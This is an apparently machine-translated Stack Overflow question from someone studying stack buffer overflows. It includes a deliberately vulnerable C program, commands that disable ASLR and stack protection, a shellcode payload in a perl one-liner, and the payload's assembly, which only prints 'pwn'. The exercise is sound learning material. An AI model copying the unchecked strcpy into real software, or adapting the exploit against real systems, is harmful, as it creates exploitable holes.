1
我一直在试图解决这个问题一段时间。我已经检查了几个StackOverflow链接有类似的问题，但没有一个修复程序似乎为我工作。出于某种原因，而不是像我应该（如果我的漏洞利用代码不起作用）得到分段错误，我的漏洞利用代码根本不会产生错误。我原来的假设是perl代码以某种方式产生了一点输出，因此没有溢出到堆栈上，但是我通过将perl命令的输出传递给一个文件证明了这个错误。无GDB的情况下无法重现缓冲区溢出
但是，我无法在GDB中重现此问题。根据我的理解，GDB会禁用ASLR，但我已通过以下命令在系统中暂时禁用它（暂时）。我知道这个命令有效，因为我打印出变量& buff的地址，并且它在多次运行中不会改变。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
我也对我的可执行堆栈禁用保护金丝雀：
gcc -g -m32 -fno-stack-protector -z execstack exploit.c
正如我以前说过的，我完全利用作品GDB。这是我的可利用程序，我会告诉你我的漏洞利用代码。
exploit.c
int checkFunc(char *c) {
char buff[32];
printf("0x%08x\n", &buff);
strcpy(buff, c);
if(strcmp(buff, "test") == 0) return 1;
else return 0;
}
int main(int argc, char *argv[]) {
int result = checkFunc(argv[1]);
if(result == 1) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
[工作]的GDB输出利用代码
(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn
利用代码
[email protected]:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied
是的，我已经考虑到了返回地址的变化（GDB增加了额外的环境变量）。这就是为什么我通过打印出我的程序中的返回地址而被欺骗的原因，以便我知道没有使用GDB的确切值是什么。
如果有人认为exploit代码错了，我也会发布汇编代码。
xor edx,edx ;xor so we don't have to use a null terminator in our code
xor ecx,ecx
xor ebx,ebx
push edx ;push the null terminator to the stack
push 0xa6e7770 ;push our string pwn\n to the stack
mov dl,0x4
mov ecx,esp
mov bl,0x1
mov al,0x4
int 0x80 ;print our string
jmp eip - 1 ;keep on looping!
非常感谢您的提前！我一直坚持这几个小时。只是你们知道，我已经编写了这个可利用的程序，以了解黑客中的缓冲区溢出：开发的艺术。
将gdb附加到进程，不要从gdb本身运行它。这样内存布局不会受到影响。 – Jester
哪个x86'jmp'指令再次是单字节指令？我似乎无法找到它...... – EOF
@EOF你的意思是'jmp short'？这是'0xeb'。它当然需要一个字节的偏移量，所以它总共是2个字节。哦，我的讽刺探测器需要调整。 @ baseman101：他想说的是'jmp eip-1'，即使它集合了，也不会做你认为它做的事情。改为使用'jmp $'或等价物。 – Jester